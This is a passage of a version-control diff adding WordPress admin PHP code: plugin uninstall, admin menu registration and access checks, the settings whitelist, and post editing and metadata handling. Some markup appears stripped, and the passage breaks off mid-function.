+/** + * Uninstall a single plugin. + * + * Calls the uninstall hook, if it is available. + * + * @since 2.7.0 + * + * @param string $plugin Relative plugin path from Plugin Directory. + */ +function uninstall_plugin($plugin) { + $file = plugin_basename($plugin); + + $uninstallable_plugins = (array) get_option('uninstall_plugins'); + if ( file_exists( WP_PLUGIN_DIR . '/' . dirname($file) . '/uninstall.php' ) ) { + if ( isset( $uninstallable_plugins[$file] ) ) { + unset($uninstallable_plugins[$file]); + update_option('uninstall_plugins', $uninstallable_plugins); + } + unset($uninstallable_plugins); + + define('WP_UNINSTALL_PLUGIN', $file); + include WP_PLUGIN_DIR . '/' . dirname($file) . '/uninstall.php'; + + return true; + } + + if ( isset( $uninstallable_plugins[$file] ) ) { + $callable = $uninstallable_plugins[$file]; + unset($uninstallable_plugins[$file]); + update_option('uninstall_plugins', $uninstallable_plugins); + unset($uninstallable_plugins); + + include WP_PLUGIN_DIR . '/' . $file; + + add_action( 'uninstall_' . $file, $callable ); + do_action( 'uninstall_' . $file ); + } +} + +// +// Menu +// + +function add_menu_page( $page_title, $menu_title, $access_level, $file, $function = '', $icon_url = '', $position = NULL ) { + global $menu, $admin_page_hooks, $_registered_pages; + + $file = plugin_basename( $file ); + + $admin_page_hooks[$file] = sanitize_title( $menu_title ); + + $hookname = get_plugin_page_hookname( $file, '' ); + if (!empty ( $function ) && !empty ( $hookname ) && current_user_can( $access_level ) ) + add_action( $hookname, $function ); + + if ( empty($icon_url) ) { + $icon_url = 'images/generic.png'; + } elseif ( is_ssl() && 0 === strpos($icon_url, 'http://') ) { + $icon_url = 'https://' . substr($icon_url, 7); + } + + $new_menu = array ( $menu_title, $access_level, $file, $page_title, 'menu-top ' . $hookname, $hookname, $icon_url ); + + if ( NULL === $position ) { + $menu[] = $new_menu; + } else { + $menu[$position] = $new_menu; + } + + $_registered_pages[$hookname] = true; + + return $hookname; +} + +function add_object_page( $page_title, $menu_title, $access_level, $file, $function = '', $icon_url = '') { + global $_wp_last_object_menu; + + $_wp_last_object_menu++; + + return add_menu_page($page_title, $menu_title, $access_level, $file, $function, $icon_url, $_wp_last_object_menu); +} + +function add_utility_page( $page_title, $menu_title, $access_level, $file, $function = '', $icon_url = '') { + global $_wp_last_utility_menu; + + $_wp_last_utility_menu++; + + return add_menu_page($page_title, $menu_title, $access_level, $file, $function, $icon_url, $_wp_last_utility_menu); +} + +function add_submenu_page( $parent, $page_title, $menu_title, $access_level, $file, $function = '' ) { + global $submenu; + global $menu; + global $_wp_real_parent_file; + global $_wp_submenu_nopriv; + global $_registered_pages; + + $file = plugin_basename( $file ); + + $parent = plugin_basename( $parent); + if ( isset( $_wp_real_parent_file[$parent] ) ) + $parent = $_wp_real_parent_file[$parent]; + + if ( !current_user_can( $access_level ) ) { + $_wp_submenu_nopriv[$parent][$file] = true; + return false; + } + + // If the parent doesn't already have a submenu, add a link to the parent + // as the first item in the submenu. If the submenu file is the same as the + // parent file someone is trying to link back to the parent manually. In + // this case, don't automatically add a link back to avoid duplication. + if (!isset( $submenu[$parent] ) && $file != $parent ) { + foreach ( (array)$menu as $parent_menu ) { + if ( $parent_menu[2] == $parent && current_user_can( $parent_menu[1] ) ) + $submenu[$parent][] = $parent_menu; + } + } + + $submenu[$parent][] = array ( $menu_title, $access_level, $file, $page_title ); + + $hookname = get_plugin_page_hookname( $file, $parent); + if (!empty ( $function ) && !empty ( $hookname )) + add_action( $hookname, $function ); + + $_registered_pages[$hookname] = true; + // backwards-compatibility for plugins using add_management page. See wp-admin/admin.php for redirect from edit.php to tools.php + if ( 'tools.php' == $parent ) + $_registered_pages[get_plugin_page_hookname( $file, 'edit.php')] = true; + + return $hookname; +} + +/** + * Add sub menu page to the tools main menu. + * + * @param string $page_title + * @param unknown_type $menu_title + * @param unknown_type $access_level + * @param unknown_type $file + * @param unknown_type $function + * @return unknown + */ +function add_management_page( $page_title, $menu_title, $access_level, $file, $function = '' ) { + return add_submenu_page( 'tools.php', $page_title, $menu_title, $access_level, $file, $function ); +} + +function add_options_page( $page_title, $menu_title, $access_level, $file, $function = '' ) { + return add_submenu_page( 'options-general.php', $page_title, $menu_title, $access_level, $file, $function ); +} + +function add_theme_page( $page_title, $menu_title, $access_level, $file, $function = '' ) { + return add_submenu_page( 'themes.php', $page_title, $menu_title, $access_level, $file, $function ); +} + +function add_users_page( $page_title, $menu_title, $access_level, $file, $function = '' ) { + if ( current_user_can('edit_users') ) + $parent = 'users.php'; + else + $parent = 'profile.php'; + return add_submenu_page( $parent, $page_title, $menu_title, $access_level, $file, $function ); +} + +function add_dashboard_page( $page_title, $menu_title, $access_level, $file, $function = '' ) { + return add_submenu_page( 'index.php', $page_title, $menu_title, $access_level, $file, $function ); +} + +function add_posts_page( $page_title, $menu_title, $access_level, $file, $function = '' ) { + return add_submenu_page( 'edit.php', $page_title, $menu_title, $access_level, $file, $function ); +} + +function add_media_page( $page_title, $menu_title, $access_level, $file, $function = '' ) { + return add_submenu_page( 'upload.php', $page_title, $menu_title, $access_level, $file, $function ); +} + +function add_links_page( $page_title, $menu_title, $access_level, $file, $function = '' ) { + return add_submenu_page( 'link-manager.php', $page_title, $menu_title, $access_level, $file, $function ); +} + +function add_pages_page( $page_title, $menu_title, $access_level, $file, $function = '' ) { + return add_submenu_page( 'edit-pages.php', $page_title, $menu_title, $access_level, $file, $function ); +} + +function add_comments_page( $page_title, $menu_title, $access_level, $file, $function = '' ) { + return add_submenu_page( 'edit-comments.php', $page_title, $menu_title, $access_level, $file, $function ); +} + +// +// Pluggable Menu Support -- Private +// + +function get_admin_page_parent( $parent = '' ) { + global $parent_file; + global $menu; + global $submenu; + global $pagenow; + global $plugin_page; + global $_wp_real_parent_file; + global $_wp_menu_nopriv; + global $_wp_submenu_nopriv; + + if ( !empty ( $parent ) && 'admin.php' != $parent ) { + if ( isset( $_wp_real_parent_file[$parent] ) ) + $parent = $_wp_real_parent_file[$parent]; + return $parent; + } +/* + if ( !empty ( $parent_file ) ) { + if ( isset( $_wp_real_parent_file[$parent_file] ) ) + $parent_file = $_wp_real_parent_file[$parent_file]; + + return $parent_file; + } +*/ + + if ( $pagenow == 'admin.php' && isset( $plugin_page ) ) { + foreach ( (array)$menu as $parent_menu ) { + if ( $parent_menu[2] == $plugin_page ) { + $parent_file = $plugin_page; + if ( isset( $_wp_real_parent_file[$parent_file] ) ) + $parent_file = $_wp_real_parent_file[$parent_file]; + return $parent_file; + } + } + if ( isset( $_wp_menu_nopriv[$plugin_page] ) ) { + $parent_file = $plugin_page; + if ( isset( $_wp_real_parent_file[$parent_file] ) ) + $parent_file = $_wp_real_parent_file[$parent_file]; + return $parent_file; + } + } + + if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$pagenow][$plugin_page] ) ) { + $parent_file = $pagenow; + if ( isset( $_wp_real_parent_file[$parent_file] ) ) + $parent_file = $_wp_real_parent_file[$parent_file]; + return $parent_file; + } + + foreach (array_keys( (array)$submenu ) as $parent) { + foreach ( $submenu[$parent] as $submenu_array ) { + if ( isset( $_wp_real_parent_file[$parent] ) ) + $parent = $_wp_real_parent_file[$parent]; + if ( $submenu_array[2] == $pagenow ) { + $parent_file = $parent; + return $parent; + } else + if ( isset( $plugin_page ) && ($plugin_page == $submenu_array[2] ) ) { + $parent_file = $parent; + return $parent; + } + } + } + + if ( empty($parent_file) ) + $parent_file = ''; + return ''; +} + +function get_admin_page_title() { + global $title; + global $menu; + global $submenu; + global $pagenow; + global $plugin_page; + + if ( isset( $title ) && !empty ( $title ) ) { + return $title; + } + + $hook = get_plugin_page_hook( $plugin_page, $pagenow ); + + $parent = $parent1 = get_admin_page_parent(); + + if ( empty ( $parent) ) { + foreach ( (array)$menu as $menu_array ) { + if ( isset( $menu_array[3] ) ) { + if ( $menu_array[2] == $pagenow ) { + $title = $menu_array[3]; + return $menu_array[3]; + } else + if ( isset( $plugin_page ) && ($plugin_page == $menu_array[2] ) && ($hook == $menu_array[3] ) ) { + $title = $menu_array[3]; + return $menu_array[3]; + } + } else { + $title = $menu_array[0]; + return $title; + } + } + } else { + foreach (array_keys( $submenu ) as $parent) { + foreach ( $submenu[$parent] as $submenu_array ) { + if ( isset( $plugin_page ) && + ($plugin_page == $submenu_array[2] ) && + (($parent == $pagenow ) || ($parent == $plugin_page ) || ($plugin_page == $hook ) || (($pagenow == 'admin.php' ) && ($parent1 != $submenu_array[2] ) ) ) + ) { + $title = $submenu_array[3]; + return $submenu_array[3]; + } + + if ( $submenu_array[2] != $pagenow || isset( $_GET['page'] ) ) // not the current page + continue; + + if ( isset( $submenu_array[3] ) ) { + $title = $submenu_array[3]; + return $submenu_array[3]; + } else { + $title = $submenu_array[0]; + return $title; + } + } + } + if ( !isset($title) || empty ( $title ) ) { + foreach ( $menu as $menu_array ) { + if ( isset( $plugin_page ) && + ($plugin_page == $menu_array[2] ) && + ($pagenow == 'admin.php' ) && + ($parent1 == $menu_array[2] ) ) + { + $title = $menu_array[3]; + return $menu_array[3]; + } + } + } + } + + return $title; +} + +function get_plugin_page_hook( $plugin_page, $parent_page ) { + $hook = get_plugin_page_hookname( $plugin_page, $parent_page ); + if ( has_action($hook) ) + return $hook; + else + return null; +} + +function get_plugin_page_hookname( $plugin_page, $parent_page ) { + global $admin_page_hooks; + + $parent = get_admin_page_parent( $parent_page ); + + $page_type = 'admin'; + if ( empty ( $parent_page ) || 'admin.php' == $parent_page || isset( $admin_page_hooks[$plugin_page] ) ) { + if ( isset( $admin_page_hooks[$plugin_page] ) ) + $page_type = 'toplevel'; + else + if ( isset( $admin_page_hooks[$parent] )) + $page_type = $admin_page_hooks[$parent]; + } else if ( isset( $admin_page_hooks[$parent] ) ) { + $page_type = $admin_page_hooks[$parent]; + } + + $plugin_name = preg_replace( '!\.php!', '', $plugin_page ); + + return $page_type.'_page_'.$plugin_name; +} + +function user_can_access_admin_page() { + global $pagenow; + global $menu; + global $submenu; + global $_wp_menu_nopriv; + global $_wp_submenu_nopriv; + global $plugin_page; + global $_registered_pages; + + $parent = get_admin_page_parent(); + + if ( !isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$parent][$pagenow] ) ) + return false; + + if ( isset( $plugin_page ) ) { + if ( isset( $_wp_submenu_nopriv[$parent][$plugin_page] ) ) + return false; + + $hookname = get_plugin_page_hookname($plugin_page, $parent); + if ( !isset($_registered_pages[$hookname]) ) + return false; + } + + if ( empty( $parent) ) { + if ( isset( $_wp_menu_nopriv[$pagenow] ) ) + return false; + if ( isset( $_wp_submenu_nopriv[$pagenow][$pagenow] ) ) + return false; + if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$pagenow][$plugin_page] ) ) + return false; + if ( isset( $plugin_page ) && isset( $_wp_menu_nopriv[$plugin_page] ) ) + return false; + foreach (array_keys( $_wp_submenu_nopriv ) as $key ) { + if ( isset( $_wp_submenu_nopriv[$key][$pagenow] ) ) + return false; + if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$key][$plugin_page] ) ) + return false; + } + return true; + } + + if ( isset( $plugin_page ) && ( $plugin_page == $parent ) && isset( $_wp_menu_nopriv[$plugin_page] ) ) + return false; + + if ( isset( $submenu[$parent] ) ) { + foreach ( $submenu[$parent] as $submenu_array ) { + if ( isset( $plugin_page ) && ( $submenu_array[2] == $plugin_page ) ) { + if ( current_user_can( $submenu_array[1] )) + return true; + else + return false; + } else if ( $submenu_array[2] == $pagenow ) { + if ( current_user_can( $submenu_array[1] )) + return true; + else + return false; + } + } + } + + foreach ( $menu as $menu_array ) { + if ( $menu_array[2] == $parent) { + if ( current_user_can( $menu_array[1] )) + return true; + else + return false; + } + } + + return true; +} + +/* Whitelist functions */ + +/** + * Register a setting and its sanitization callback + * + * @since 2.7.0 + * + * @param string $option_group A settings group name. Should correspond to a whitelisted option key name. + * Default whitelisted option key names include "general," "discussion," and "reading," among others. + * @param string $option_name The name of an option to sanitize and save. + * @param unknown_type $sanitize_callback A callback function that sanitizes the option's value. + * @return unknown + */ +function register_setting($option_group, $option_name, $sanitize_callback = '') { + return add_option_update_handler($option_group, $option_name, $sanitize_callback); +} + +/** + * Unregister a setting + * + * @since 2.7.0 + * + * @param unknown_type $option_group + * @param unknown_type $option_name + * @param unknown_type $sanitize_callback + * @return unknown + */ +function unregister_setting($option_group, $option_name, $sanitize_callback = '') { + return remove_option_update_handler($option_group, $option_name, $sanitize_callback); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $option_group + * @param unknown_type $option_name + * @param unknown_type $sanitize_callback + */ +function add_option_update_handler($option_group, $option_name, $sanitize_callback = '') { + global $new_whitelist_options; + $new_whitelist_options[ $option_group ][] = $option_name; + if ( $sanitize_callback != '' ) + add_filter( "sanitize_option_{$option_name}", $sanitize_callback ); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $option_group + * @param unknown_type $option_name + * @param unknown_type $sanitize_callback + */ +function remove_option_update_handler($option_group, $option_name, $sanitize_callback = '') { + global $new_whitelist_options; + $pos = array_search( $option_name, (array) $new_whitelist_options ); + if ( $pos !== false ) + unset( $new_whitelist_options[ $option_group ][ $pos ] ); + if ( $sanitize_callback != '' ) + remove_filter( "sanitize_option_{$option_name}", $sanitize_callback ); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $options + * @return unknown + */ +function option_update_filter( $options ) { + global $new_whitelist_options; + + if ( is_array( $new_whitelist_options ) ) + $options = add_option_whitelist( $new_whitelist_options, $options ); + + return $options; +} +add_filter( 'whitelist_options', 'option_update_filter' ); + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $new_options + * @param unknown_type $options + * @return unknown + */ +function add_option_whitelist( $new_options, $options = '' ) { + if( $options == '' ) { + global $whitelist_options; + } else { + $whitelist_options = $options; + } + foreach( $new_options as $page => $keys ) { + foreach( $keys as $key ) { + if ( !isset($whitelist_options[ $page ]) || !is_array($whitelist_options[ $page ]) ) { + $whitelist_options[ $page ] = array(); + $whitelist_options[ $page ][] = $key; + } else { + $pos = array_search( $key, $whitelist_options[ $page ] ); + if ( $pos === false ) + $whitelist_options[ $page ][] = $key; + } + } + } + return $whitelist_options; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $del_options + * @param unknown_type $options + * @return unknown + */ +function remove_option_whitelist( $del_options, $options = '' ) { + if( $options == '' ) { + global $whitelist_options; + } else { + $whitelist_options = $options; + } + foreach( $del_options as $page => $keys ) { + foreach( $keys as $key ) { + if ( isset($whitelist_options[ $page ]) && is_array($whitelist_options[ $page ]) ) { + $pos = array_search( $key, $whitelist_options[ $page ] ); + if( $pos !== false ) + unset( $whitelist_options[ $page ][ $pos ] ); + } + } + } + return $whitelist_options; +} + +/** + * Output nonce, action, and option_page fields for a settings page. + * + * @since 2.7.0 + * + * @param string $option_group A settings group name. This should match the group name used in register_setting(). + */ +function settings_fields($option_group) { + echo ""; + echo ''; + wp_nonce_field("$option_group-options"); +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/post.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/post.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1516 @@ + 31 ) ? 31 : $jj; + $jj = ($jj <= 0 ) ? date('j') : $jj; + $hh = ($hh > 23 ) ? $hh -24 : $hh; + $mn = ($mn > 59 ) ? $mn -60 : $mn; + $ss = ($ss > 59 ) ? $ss -60 : $ss; + $post_data['post_date'] = sprintf( "%04d-%02d-%02d %02d:%02d:%02d", $aa, $mm, $jj, $hh, $mn, $ss ); + $post_data['post_date_gmt'] = get_gmt_from_date( $post_data['post_date'] ); + } + + return $post_data; +} + +/** + * Update an existing post with values provided in $_POST. + * + * @since unknown + * + * @param array $post_data Optional. + * @return int Post ID. + */ +function edit_post( $post_data = null ) { + + if ( empty($post_data) ) + $post_data = &$_POST; + + $post_ID = (int) $post_data['post_ID']; + + if ( 'page' == $post_data['post_type'] ) { + if ( !current_user_can( 'edit_page', $post_ID ) ) + wp_die( __('You are not allowed to edit this page.' )); + } else { + if ( !current_user_can( 'edit_post', $post_ID ) ) + wp_die( __('You are not allowed to edit this post.' )); + } + + // Autosave shouldn't save too soon after a real save + if ( 'autosave' == $post_data['action'] ) { + $post =& get_post( $post_ID ); + $now = time(); + $then = strtotime($post->post_date_gmt . ' +0000'); + $delta = AUTOSAVE_INTERVAL / 2; + if ( ($now - $then) < $delta ) + return $post_ID; + } + + $post_data = _wp_translate_postdata( true, $post_data ); + if ( is_wp_error($post_data) ) + wp_die( $post_data->get_error_message() ); + + if ( isset($post_data['visibility']) ) { + switch ( $post_data['visibility'] ) { + case 'public' : + $post_data['post_password'] = ''; + break; + case 'password' : + unset( $post_data['sticky'] ); + break; + case 'private' : + $post_data['post_status'] = 'private'; + $post_data['post_password'] = ''; + unset( $post_data['sticky'] ); + break; + } + } + + // Meta Stuff + if ( isset($post_data['meta']) && $post_data['meta'] ) { + foreach ( $post_data['meta'] as $key => $value ) + update_meta( $key, $value['key'], $value['value'] ); + } + + if ( isset($post_data['deletemeta']) && $post_data['deletemeta'] ) { + foreach ( $post_data['deletemeta'] as $key => $value ) + delete_meta( $key ); + } + + add_meta( $post_ID ); + + wp_update_post( $post_data ); + + // Reunite any orphaned attachments with their parent + if ( !$draft_ids = get_user_option( 'autosave_draft_ids' ) ) + $draft_ids = array(); + if ( $draft_temp_id = (int) array_search( $post_ID, $draft_ids ) ) + _relocate_children( $draft_temp_id, $post_ID ); + + // Now that we have an ID we can fix any attachment anchor hrefs + _fix_attachment_links( $post_ID ); + + wp_set_post_lock( $post_ID, $GLOBALS['current_user']->ID ); + + if ( current_user_can( 'edit_others_posts' ) ) { + if ( !empty($post_data['sticky']) ) + stick_post($post_ID); + else + unstick_post($post_ID); + } + + return $post_ID; +} + +/** + * {@internal Missing Short Description}} + * + * Updates all bulk edited posts/pages, adding (but not removing) tags and + * categories. Skips pages when they would be their own parent or child. + * + * @since unknown + * + * @return array + */ +function bulk_edit_posts( $post_data = null ) { + global $wpdb; + + if ( empty($post_data) ) + $post_data = &$_POST; + + if ( isset($post_data['post_type']) && 'page' == $post_data['post_type'] ) { + if ( ! current_user_can( 'edit_pages' ) ) + wp_die( __('You are not allowed to edit pages.') ); + } else { + if ( ! current_user_can( 'edit_posts' ) ) + wp_die( __('You are not allowed to edit posts.') ); + } + + if ( -1 == $post_data['_status'] ) { + $post_data['post_status'] = null; + unset($post_data['post_status']); + } else { + $post_data['post_status'] = $post_data['_status']; + } + unset($post_data['_status']); + + $post_IDs = array_map( 'intval', (array) $post_data['post'] ); + + $reset = array( 'post_author', 'post_status', 'post_password', 'post_parent', 'page_template', 'comment_status', 'ping_status', 'keep_private', 'tags_input', 'post_category', 'sticky' ); + foreach ( $reset as $field ) { + if ( isset($post_data[$field]) && ( '' == $post_data[$field] || -1 == $post_data[$field] ) ) + unset($post_data[$field]); + } + + if ( isset($post_data['post_category']) ) { + if ( is_array($post_data['post_category']) && ! empty($post_data['post_category']) ) + $new_cats = array_map( 'absint', $post_data['post_category'] ); + else + unset($post_data['post_category']); + } + + if ( isset($post_data['tags_input']) ) { + $new_tags = preg_replace( '/\s*,\s*/', ',', rtrim( trim($post_data['tags_input']), ' ,' ) ); + $new_tags = explode(',', $new_tags); + } + + if ( isset($post_data['post_parent']) && ($parent = (int) $post_data['post_parent']) ) { + $pages = $wpdb->get_results("SELECT ID, post_parent FROM $wpdb->posts WHERE post_type = 'page'"); + $children = array(); + + for ( $i = 0; $i < 50 && $parent > 0; $i++ ) { + $children[] = $parent; + + foreach ( $pages as $page ) { + if ( $page->ID == $parent ) { + $parent = $page->post_parent; + break; + } + } + } + } + + $updated = $skipped = $locked = array(); + foreach ( $post_IDs as $post_ID ) { + + if ( isset($children) && in_array($post_ID, $children) ) { + $skipped[] = $post_ID; + continue; + } + + if ( wp_check_post_lock( $post_ID ) ) { + $locked[] = $post_ID; + continue; + } + + if ( isset($new_cats) ) { + $cats = (array) wp_get_post_categories($post_ID); + $post_data['post_category'] = array_unique( array_merge($cats, $new_cats) ); + } + + if ( isset($new_tags) ) { + $tags = wp_get_post_tags($post_ID, array('fields' => 'names')); + $post_data['tags_input'] = array_unique( array_merge($tags, $new_tags) ); + } + + $post_data['ID'] = $post_ID; + $updated[] = wp_update_post( $post_data ); + + if ( isset( $post_data['sticky'] ) && current_user_can( 'edit_others_posts' ) ) { + if ( 'sticky' == $post_data['sticky'] ) + stick_post( $post_ID ); + else + unstick_post( $post_ID ); + } + + } + + return array( 'updated' => $updated, 'skipped' => $skipped, 'locked' => $locked ); +} + +/** + * Default post information to use when populating the "Write Post" form. + * + * @since unknown + * + * @return unknown + */ +function get_default_post_to_edit() { + + $post_title = ''; + if ( !empty( $_REQUEST['post_title'] ) ) + $post_title = esc_html( stripslashes( $_REQUEST['post_title'] )); + + $post_content = ''; + if ( !empty( $_REQUEST['content'] ) ) + $post_content = esc_html( stripslashes( $_REQUEST['content'] )); + + $post_excerpt = ''; + if ( !empty( $_REQUEST['excerpt'] ) ) + $post_excerpt = esc_html( stripslashes( $_REQUEST['excerpt'] )); + + $post->ID = 0; + $post->post_name = ''; + $post->post_author = ''; + $post->post_date = ''; + $post->post_date_gmt = ''; + $post->post_password = ''; + $post->post_status = 'draft'; + $post->post_type = 'post'; + $post->to_ping = ''; + $post->pinged = ''; + $post->comment_status = get_option( 'default_comment_status' ); + $post->ping_status = get_option( 'default_ping_status' ); + $post->post_pingback = get_option( 'default_pingback_flag' ); + $post->post_category = get_option( 'default_category' ); + $post->post_content = apply_filters( 'default_content', $post_content); + $post->post_title = apply_filters( 'default_title', $post_title ); + $post->post_excerpt = apply_filters( 'default_excerpt', $post_excerpt); + $post->page_template = 'default'; + $post->post_parent = 0; + $post->menu_order = 0; + + return $post; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @return unknown + */ +function get_default_page_to_edit() { + $page = get_default_post_to_edit(); + $page->post_type = 'page'; + return $page; +} + +/** + * Get an existing post and format it for editing. + * + * @since unknown + * + * @param unknown_type $id + * @return unknown + */ +function get_post_to_edit( $id ) { + + $post = get_post( $id, OBJECT, 'edit' ); + + if ( $post->post_type == 'page' ) + $post->page_template = get_post_meta( $id, '_wp_page_template', true ); + + return $post; +} + +/** + * Determine if a post exists based on title, content, and date + * + * @since unknown + * + * @param string $title Post title + * @param string $content Optional post content + * @param string $date Optional post date + * @return int Post ID if post exists, 0 otherwise. + */ +function post_exists($title, $content = '', $date = '') { + global $wpdb; + + $post_title = stripslashes( sanitize_post_field( 'post_title', $title, 0, 'db' ) ); + $post_content = stripslashes( sanitize_post_field( 'post_content', $content, 0, 'db' ) ); + $post_date = stripslashes( sanitize_post_field( 'post_date', $date, 0, 'db' ) ); + + $query = "SELECT ID FROM $wpdb->posts WHERE 1=1"; + $args = array(); + + if ( !empty ( $date ) ) { + $query .= ' AND post_date = %s'; + $args[] = $post_date; + } + + if ( !empty ( $title ) ) { + $query .= ' AND post_title = %s'; + $args[] = $post_title; + } + + if ( !empty ( $content ) ) { + $query .= 'AND post_content = %s'; + $args[] = $post_content; + } + + if ( !empty ( $args ) ) + return $wpdb->get_var( $wpdb->prepare($query, $args) ); + + return 0; +} + +/** + * Creates a new post from the "Write Post" form using $_POST information. + * + * @since unknown + * + * @return unknown + */ +function wp_write_post() { + global $user_ID; + + if ( 'page' == $_POST['post_type'] ) { + if ( !current_user_can( 'edit_pages' ) ) + return new WP_Error( 'edit_pages', __( 'You are not allowed to create pages on this blog.' ) ); + } else { + if ( !current_user_can( 'edit_posts' ) ) + return new WP_Error( 'edit_posts', __( 'You are not allowed to create posts or drafts on this blog.' ) ); + } + + + // Check for autosave collisions + $temp_id = false; + if ( isset($_POST['temp_ID']) ) { + $temp_id = (int) $_POST['temp_ID']; + if ( !$draft_ids = get_user_option( 'autosave_draft_ids' ) ) + $draft_ids = array(); + foreach ( $draft_ids as $temp => $real ) + if ( time() + $temp > 86400 ) // 1 day: $temp is equal to -1 * time( then ) + unset($draft_ids[$temp]); + + if ( isset($draft_ids[$temp_id]) ) { // Edit, don't write + $_POST['post_ID'] = $draft_ids[$temp_id]; + unset($_POST['temp_ID']); + update_user_option( $user_ID, 'autosave_draft_ids', $draft_ids ); + return edit_post(); + } + } + + $translated = _wp_translate_postdata( false ); + if ( is_wp_error($translated) ) + return $translated; + + if ( isset($_POST['visibility']) ) { + switch ( $_POST['visibility'] ) { + case 'public' : + $_POST['post_password'] = ''; + break; + case 'password' : + unset( $_POST['sticky'] ); + break; + case 'private' : + $_POST['post_status'] = 'private'; + $_POST['post_password'] = ''; + unset( $_POST['sticky'] ); + break; + } + } + + // Create the post. + $post_ID = wp_insert_post( $_POST ); + if ( is_wp_error( $post_ID ) ) + return $post_ID; + + if ( empty($post_ID) ) + return 0; + + add_meta( $post_ID ); + + // Reunite any orphaned attachments with their parent + if ( !$draft_ids = get_user_option( 'autosave_draft_ids' ) ) + $draft_ids = array(); + if ( $draft_temp_id = (int) array_search( $post_ID, $draft_ids ) ) + _relocate_children( $draft_temp_id, $post_ID ); + if ( $temp_id && $temp_id != $draft_temp_id ) + _relocate_children( $temp_id, $post_ID ); + + // Update autosave collision detection + if ( $temp_id ) { + $draft_ids[$temp_id] = $post_ID; + update_user_option( $user_ID, 'autosave_draft_ids', $draft_ids ); + } + + // Now that we have an ID we can fix any attachment anchor hrefs + _fix_attachment_links( $post_ID ); + + wp_set_post_lock( $post_ID, $GLOBALS['current_user']->ID ); + + return $post_ID; +} + +/** + * Calls wp_write_post() and handles the errors. + * + * @since unknown + * + * @return unknown + */ +function write_post() { + $result = wp_write_post(); + if( is_wp_error( $result ) ) + wp_die( $result->get_error_message() ); + else + return $result; +} + +// +// Post Meta +// + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $post_ID + * @return unknown + */ +function add_meta( $post_ID ) { + global $wpdb; + $post_ID = (int) $post_ID; + + $protected = array( '_wp_attached_file', '_wp_attachment_metadata', '_wp_old_slug', '_wp_page_template' ); + + $metakeyselect = isset($_POST['metakeyselect']) ? stripslashes( trim( $_POST['metakeyselect'] ) ) : ''; + $metakeyinput = isset($_POST['metakeyinput']) ? stripslashes( trim( $_POST['metakeyinput'] ) ) : ''; + $metavalue = isset($_POST['metavalue']) ? maybe_serialize( stripslashes_deep( $_POST['metavalue'] ) ) : ''; + if ( is_string($metavalue) ) + $metavalue = trim( $metavalue ); + + if ( ('0' === $metavalue || !empty ( $metavalue ) ) && ((('#NONE#' != $metakeyselect) && !empty ( $metakeyselect) ) || !empty ( $metakeyinput) ) ) { + // We have a key/value pair. If both the select and the + // input for the key have data, the input takes precedence: + + if ('#NONE#' != $metakeyselect) + $metakey = $metakeyselect; + + if ( $metakeyinput) + $metakey = $metakeyinput; // default + + if ( in_array($metakey, $protected) ) + return false; + + wp_cache_delete($post_ID, 'post_meta'); + + $wpdb->query( $wpdb->prepare("INSERT INTO $wpdb->postmeta (post_id,meta_key,meta_value ) VALUES (%s, %s, %s)", $post_ID, $metakey, $metavalue) ); + do_action( 'added_postmeta', $wpdb->insert_id, $post_ID, $metakey, $metavalue ); + + return $wpdb->insert_id; + } + return false; +} // add_meta + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $mid + * @return unknown + */ +function delete_meta( $mid ) { + global $wpdb; + $mid = (int) $mid; + + $post_id = $wpdb->get_var( $wpdb->prepare("SELECT post_id FROM $wpdb->postmeta WHERE meta_id = %d", $mid) ); + + do_action( 'delete_postmeta', $mid ); + wp_cache_delete($post_id, 'post_meta'); + $rval = $wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->postmeta WHERE meta_id = %d", $mid) ); + do_action( 'deleted_postmeta', $mid ); + + return $rval; +} + +/** + * Get a list of previously defined keys. + * + * @since unknown + * + * @return unknown + */ +function get_meta_keys() { + global $wpdb; + + $keys = $wpdb->get_col( " + SELECT meta_key + FROM $wpdb->postmeta + GROUP BY meta_key + ORDER BY meta_key" ); + + return $keys; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $mid + * @return unknown + */ +function get_post_meta_by_id( $mid ) { + global $wpdb; + $mid = (int) $mid; + + $meta = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->postmeta WHERE meta_id = %d", $mid) ); + if ( is_serialized_string( $meta->meta_value ) ) + $meta->meta_value = maybe_unserialize( $meta->meta_value ); + return $meta; +} + +/** + * {@internal Missing Short Description}} + * + * Some postmeta stuff. + * + * @since unknown + * + * @param unknown_type $postid + * @return unknown + */ +function has_meta( $postid ) { + global $wpdb; + + return $wpdb->get_results( $wpdb->prepare("SELECT meta_key, meta_value, meta_id, post_id + FROM $wpdb->postmeta WHERE post_id = %d + ORDER BY meta_key,meta_id", $postid), ARRAY_A ); + +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $meta_id + * @param unknown_type $meta_key + * @param unknown_type $meta_value + * @return unknown + */ +function update_meta( $meta_id, $meta_key, $meta_value ) { + global $wpdb; + + $protected = array( '_wp_attached_file', '_wp_attachment_metadata', '_wp_old_slug', '_wp_page_template' ); + + if ( in_array($meta_key, $protected) ) + return false; + + if ( '' === trim( $meta_value ) ) + return false; + + $post_id = $wpdb->get_var( $wpdb->prepare("SELECT post_id FROM $wpdb->postmeta WHERE meta_id = %d", $meta_id) ); + + $meta_value = maybe_serialize( stripslashes_deep( $meta_value ) ); + $meta_id = (int) $meta_id; + + $data = compact( 'meta_key', 'meta_value' ); + $where = compact( 'meta_id' ); + + do_action( 'update_postmeta', $meta_id, $post_id, $meta_key, $meta_value ); + $rval = $wpdb->update( 